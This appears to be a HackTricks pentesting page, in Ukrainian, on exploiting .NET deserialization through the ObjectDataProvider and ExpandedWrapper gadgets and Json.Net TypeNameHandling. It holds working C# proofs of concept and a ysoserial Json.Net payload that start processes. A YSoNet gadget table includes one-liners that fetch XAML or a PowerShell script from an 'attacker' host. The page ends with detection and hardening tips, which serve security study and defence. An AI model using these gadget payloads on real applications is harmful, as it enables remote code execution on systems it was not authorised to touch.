hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

17 KiB
Raw Blame History

Основна десеріалізація .Net (гаджет ObjectDataProvider, ExpandedWrapper та Json.Net)

{{#include ../../banners/hacktricks-training.md}}

Ця стаття присвячена розумінню того, як експлуатується гаджет ObjectDataProvider для отримання RCE та як бібліотеки серіалізації Json.Net та xmlSerializer можуть бути зловживані з цим гаджетом.

Гаджет ObjectDataProvider

З документації: клас ObjectDataProvider обгортає та створює об'єкт, який ви можете використовувати як джерело прив'язки.
Так, це дивне пояснення, тож давайте подивимося, що ж у цьому класі такого цікавого: цей клас дозволяє обгортати довільний об'єкт, використовувати MethodParameters для встановлення довільних параметрів і потім використовувати MethodName для виклику довільної функції довільного об'єкта, оголошеного за допомогою довільних параметрів.
Отже, довільний об'єкт буде виконувати функцію з параметрами під час десеріалізації.

Як це можливо

Простір імен System.Windows.Data, який знаходиться в PresentationFramework.dll за адресою C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, є місцем, де визначено та реалізовано ObjectDataProvider.

Використовуючи dnSpy, ви можете переглянути код класу, який нас цікавить. На зображенні нижче ми бачимо код PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ім'я методу

Як ви можете спостерігати, коли MethodName встановлено, викликається base.Refresh(), давайте подивимося, що це робить:

Добре, продовжимо дивитися, що робить this.BeginQuery(). BeginQuery переозначено класом ObjectDataProvider, і ось що він робить:

Зверніть увагу, що в кінці коду викликається this.QueryWorke(null). Давайте подивимося, що це виконує:

Зверніть увагу, що це не повний код функції QueryWorker, але він показує цікаву частину: код викликає this.InvokeMethodOnInstance(out ex); це рядок, де викликається встановлений метод.

Якщо ви хочете перевірити, що просто встановивши MethodName, він буде виконаний, ви можете запустити цей код:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Зверніть увагу, що вам потрібно додати як посилання C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll, щоб завантажити System.Windows.Data

ExpandedWrapper

Використовуючи попередній експлойт, будуть випадки, коли об'єкт буде десеріалізовано як екземпляр ObjectDataProvider (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою GetType). Тоді не буде відомо про тип об'єкта, який обгорнутий в екземплярі ObjectDataProvider (Process, наприклад). Ви можете знайти більше інформації про вразливість DotNetNuke тут.

Цей клас дозволяє вказати типи об'єктів об'єктів, які інкапсульовані в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (ObjectDataProvider) в новий тип об'єкта та надання необхідних властивостей (ObjectDataProvider.MethodName та ObjectDataProvider.MethodParameters).
Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо обгорнути _ObjectDataProvider** всередині екземпляра **ExpandedWrapper _ і під час десеріалізації цей клас створить об'єкт OjectDataProvider, який виконає функцію, вказану в MethodName.

Ви можете перевірити цей обгортальник за допомогою наступного коду:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

На офіційному веб-сайті вказано, що ця бібліотека дозволяє Серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного JSON-серіалізатора Json.NET. Отже, якщо ми зможемо десеріалізувати гаджет ObjectDataProvider, ми зможемо викликати RCE, просто десеріалізуючи об'єкт.

Json.Net приклад

По-перше, давайте подивимося приклад того, як серіалізувати/десеріалізувати об'єкт, використовуючи цю бібліотеку:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Зловживання Json.Net

Використовуючи ysoserial.net, я створив експлойт:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

У цьому коді ви можете перевірити експлойт, просто запустіть його, і ви побачите, що виконується calc:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Техніка ObjectDataProvider + ExpandedWrapper, представлена вище, є лише однією з БАГАТЬОХ ланцюгів гаджетів, які можна зловживати, коли додаток виконує неконтрольовану десеріалізацію .NET. Сучасні інструменти червоної команди, такі як YSoNet (та старіший ysoserial.net), автоматизують створення готових до використання шкідливих об'єктних графів для десятків гаджетів і форматів серіалізації.

Нижче наведено стисле посилання на найбільш корисні ланцюги, що постачаються з YSoNet, разом з коротким поясненням того, як вони працюють, та прикладами команд для генерації корисних навантажень.

Gadget Chain Key Idea / Primitive Common Serializers YSoNet one-liner
TypeConfuseDelegate Пошкоджує запис DelegateSerializationHolder, так що, після матеріалізації, делегат вказує на будь-який метод, наданий атакуючою стороною (наприклад, Process.Start) BinaryFormatter, SoapFormatter, NetDataContractSerializer ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelector Зловживає System.Workflow.ComponentModel.ActivitySurrogateSelector, щоб обійти фільтрацію типів .NET ≥4.8 і безпосередньо викликати конструктор наданого класу або компілювати файл C# на льоту BinaryFormatter, NetDataContractSerializer, LosFormatter ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviour Використовує стару XML репрезентацію System.Data.DataSet, щоб створити випадкові типи, заповнюючи поля <ColumnMapping> / <DataType> (опціонально підробляючи збірку з --spoofedAssembly) LosFormatter, BinaryFormatter, XmlSerializer ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResults У середовищах з підтримкою WPF (> .NET 5) з'єднує геттери властивостей, поки не досягне System.CodeDom.Compiler.CompilerResults, потім компілює або завантажує DLL, надану з -c Json.NET без типу, MessagePack без типу ysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (огляд) Використовує WPF System.Windows.Data.ObjectDataProvider, щоб викликати випадковий статичний метод з контрольованими аргументами. YSoNet додає зручний варіант --xamlurl, щоб розмістити шкідливий XAML віддалено BinaryFormatter, Json.NET, XAML, тощо ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565) Вбудовує ScriptBlock у System.Management.Automation.PSObject, який виконується, коли PowerShell десеріалізує об'єкт PowerShell remoting, BinaryFormatter ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

Tip

Усі корисні навантаження за замовчуванням записуються в stdout, що робить їх простими для передачі в інші інструменти (наприклад, генератори ViewState, кодувальники base64, HTTP-клієнти).

Building / Installing YSoNet

Якщо немає попередньо скомпільованих бінарних файлів під Actions ➜ Artifacts / Releases, наступна PowerShell команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі Release:

Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Скомпільований ysonet.exe можна знайти за адресою ysonet/bin/Release/.

Виявлення та зміцнення

  • Виявляйте несподівані дочірні процеси w3wp.exe, PowerShell.exe або будь-який процес, що десеріалізує дані, надані користувачем (наприклад, MessagePack, Json.NET).
  • Увімкніть та забезпечте фільтрацію типів (TypeFilterLevel = Full, користувацький SurrogateSelector, SerializationBinder, тощо), коли застарілий BinaryFormatter / NetDataContractSerializer не може бути видалений.
  • Де це можливо, мігруйте до System.Text.Json або DataContractJsonSerializer з конвертерами на основі білого списку.
  • Блокуйте небезпечні збірки WPF (PresentationFramework, System.Workflow.*), щоб вони не завантажувалися в веб-процесах, яким вони ніколи не потрібні.

Посилання

{{#include ../../banners/hacktricks-training.md}}